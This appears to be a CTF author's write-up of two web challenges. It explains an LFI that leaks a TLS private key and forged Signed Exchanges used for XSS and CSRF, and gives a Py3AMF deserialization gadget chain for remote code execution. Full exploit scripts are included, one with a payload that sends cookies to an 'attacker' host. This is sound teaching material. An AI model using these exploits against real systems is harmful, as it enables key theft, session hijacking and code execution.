I only made 2 challenges these year, great, it's much easier for me to write this write-up :P
Actually I was planning to release 4 challenges in total: I was initially going to create a reverse challenge, but I got too lazy to write it. As for the other web challenge, I had it ready at the time but didn't have time to deploy it. So, maybe see you in another CTF I guess?
Sharer's World
It is a file uploading service, we provided the source code of the app, the admin bot, and also the HTTPS certificate without private key.
TL;DR
Signed Exchange (SXG).
Overview
This is a pretty weird challenge I would say. Let's start by giving a brief introduction about this challenge.
For its functions, users can upload any file with arbitrary custom mime-type to the server, stored in a path like: /file/<uuid>
. On the other hand, you can preview it from /preview/<uuid>
which is just simply embed the file into a sandboxed iframe:
<iframe src="/file/<uuid>" width="100%" height="500px" sandbox></iframe>
Yeah, we know arbitrary mime-type is pretty dangerous, so there is also a extremely strict CSP (the frame-src
directive only exists in the preview page):
default-src 'none'; style-src https://sharer.world/static/simple.css; frame-src https://sharer.world/file/<uuid>
And the sandboxed iframe also keep us from executing JavaScript and other insecure behavior at the preview page.
As a XSS challenge, there is always a reporting page. In our case, players can provide a file uuid, and also their team token. And the backend route will make a request to https://admin-bot.sharer.world/visit?path=/preview/<file_id>&token=<token>
. And the bot will try to visit the preview page of your file.
So, where is the flag? Let's take a look at this...
page.setCookie({
name: "FLAG",
value: FLAG,
domain: BOT_HOST,
path: "/flag",
secure: true,
sameSite: "Strict",
});
Yes, it's in the cookie... of https://admin-bot.sharer.world/flag
! And there doesn't even have a /flag route. WTF.
Exploitation
First, there is a local file inclusion (LFI) vulnerability, due to this pattern in the /report
route: res.render("template", req.body)
.
You can read arbitrary file by sending this POST data:
settings[view engine]=js # extension
&settings[views]=/
&settings[layout]=/app/app # file without extension
We use express-mustache
, as far as I know you can't get RCE here.
But as a XSS challenge, what file should we read anyway?
Now let me introduce SXG here. It's like a signed webpage, only the domain owner should be able to sign it. And a SXG is able to deliver arbitrary webpage of that domain. You can even control all the headers and content.
In the second step, you can know there is an SXG extension (1.3.6.1.4.1.11129.2.1.22) in the HTTPS certificates by viewing the fullchain.pem
file. Also, it is for both sharer.world and *.sharer.world. It should be obvious since that is the only extension with no name (in most of the viewers).
You can use command openssl x509 -in fullchain.pem -text
to view it.
Now, with the first LFI bug, you can read the private key from the server, and sign a SXG by yourself. Which means you can sign arbitrary page for both sharer.world and *.sharer.world. The XSS part is done for now – just sign a XSS page for https://admin-bot.sharer.world/flag
.
The last part is reporting. Although it only allows us to submit file uuid, and view /preview/<uuid>
, but we can abuse the cert-uri in SXG.
The cert-uri can make arbitrary GET request when a user views that SXG. So just set the cert-uri to https://bot/visit?path=/file/<XSS-SXG-uuid>
and upload it. In this way when the bot visit your preview page, the browser will send that GET request in the backgroud to force the bot to visit the SXG file you signed in the previous step.
You can also make admin to visit your own website by using /visit?path=@attacker.com/xss.sxg
. It's actually not required to host an SXG file on its own domain.
Note that for the last cert-uri trick, you don't even need to get your SXG signed, and it can bypass all the limitation (SOP, CSP etc.)!
Summarize
- LFI Read: privkey.pem
- Generate a SXG for xss-ing https://bot/flag
-> XSS.sxg - Generate a SXG for using cert-uri to CSRF (GET https://bot/visit?path=/file/XSS.sxg)
-> CSRF.sxg - Upload XSS.sxg, CSRF.sxg
- Report CSRF.sxg
Exploit Script
I use signedexchange to sign the SXGs.
#!/bin/bash
BASE_URL='https://sharer.world'
# upload function
function upload() {
curl -s $BASE_URL/upload -F "file=@$1;type=$2" | grep -e 'preview' | cut -d'/' -f3
}
curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=fullchain' -o cert.pem
curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=privkey' -o priv.key
~/go/bin/gen-certurl -pem cert.pem > cert.cbor
token="..."
echo "<script>location='http://attacker:1337/?'+document.cookie</script>" > xss.html
~/go/bin/gen-signedexchange \
-uri "https://admin-bot.sharer.world/flag" \
-content xss.html \
-certificate cert.pem \
-privateKey priv.key \
-certUrl "data:application/cert-chain+cbor;base64,$(base64 -i cert.cbor)" \
-validityUrl "https://admin-bot.sharer.world/resource.validity.msg" \
-o xss.html.sxg
file_id="$(upload 'xss.html.sxg' 'application/signed-exchange;v=b3')"
echo "XSS file_id: $file_id"
touch empty.html
~/go/bin/gen-signedexchange \
-uri "https://example.com/" \
-content empty.html \
-certificate cert.pem \
-privateKey priv.key \
-certUrl "https://admin-bot.sharer.world/visit?path=/file/$file_id&token=$token" \
-validityUrl "https://example.com/resource.validity.msg" \
-o cert-request.html.sxg
file_id="$(upload 'cert-request.html.sxg' 'application/signed-exchange;v=b3')"
echo "Req file_id: $file_id"
curl "$BASE_URL/report" --data "file_id=$file_id&token=$token"
Write-up by Player
AMF
A fucking gadget finding challenge. If you are a gadget-finding enjoyer then congratulation. If not, this is a totally time-wasting challenge, sorry for that.
TL;DR
You need to find a deserialization gadget to achieve RCE in Py3AMF.
You can use the TYPE_OBJECT bytecode. It's able to import arbitrary object from arbitrary module and __new__
it. Then you can set arbitrary attribute on that instance. Now try to RCE.
You can find more detail by tracing its code:
Gadget Finding Methodology
TBA
Exploit Script
Maybe I'm just too lazy to explain the gadgets... I'll try to explain them later if I have time.
from pyamf import amf0, amf3, util
AMF = amf3
def serialize(obj):
stream = util.BufferedByteStream()
context = AMF.Context()
encoder = AMF.Encoder(stream, context)
encoder.writeElement(obj)
return stream.getvalue()
def deserialize(data):
stream = util.BufferedByteStream(data)
context = AMF.Context()
decoder = AMF.Decoder(stream, context)
return decoder.readElement()
def serialize_attrs(attrs):
s = b""
for k, v in attrs.items():
s += serialize(k)[1:]
if isinstance(v, Obj):
s += v.serialize()
else:
s += serialize(v)
s += serialize(None)
return s
class Obj:
def __init__(self, _name, **kwargs):
self.name = _name
self.attrs = kwargs
def serialize(self):
s = b"\x0a\x0b" + serialize(self.name)[1:]
s += serialize_attrs(self.attrs)
return s
serialized = Obj(
"pyamf.amf3.ByteArray",
_len_changed=True,
_len=48763,
_get_len=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"pyamf.remoting.gateway.ServiceWrapper",
service=Obj(
"pdb.Pdb",
curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
curframe_locals={},
stdout=None
),
),
_Method__name="do_break",
),
_Method__name="""
__import__("os").system("id")
""".strip(), # your exploit here
),
).serialize()
# print(len(deserialize(serialized)))
import requests
serialized = b"\x11" + serialized
r = requests.post(
"http://150846998b1a9bc25ed995d94237bbb3.amf.chal.hitconctf.com/",
data=b"\x00\x03"
+ b"\x00\x00"
+ b"\x00\x01"
+ b"\x00\x01a"
+ b"\x00\x01b"
+ len(serialized).to_bytes(4, "big") + serialized,
)
print(r.text)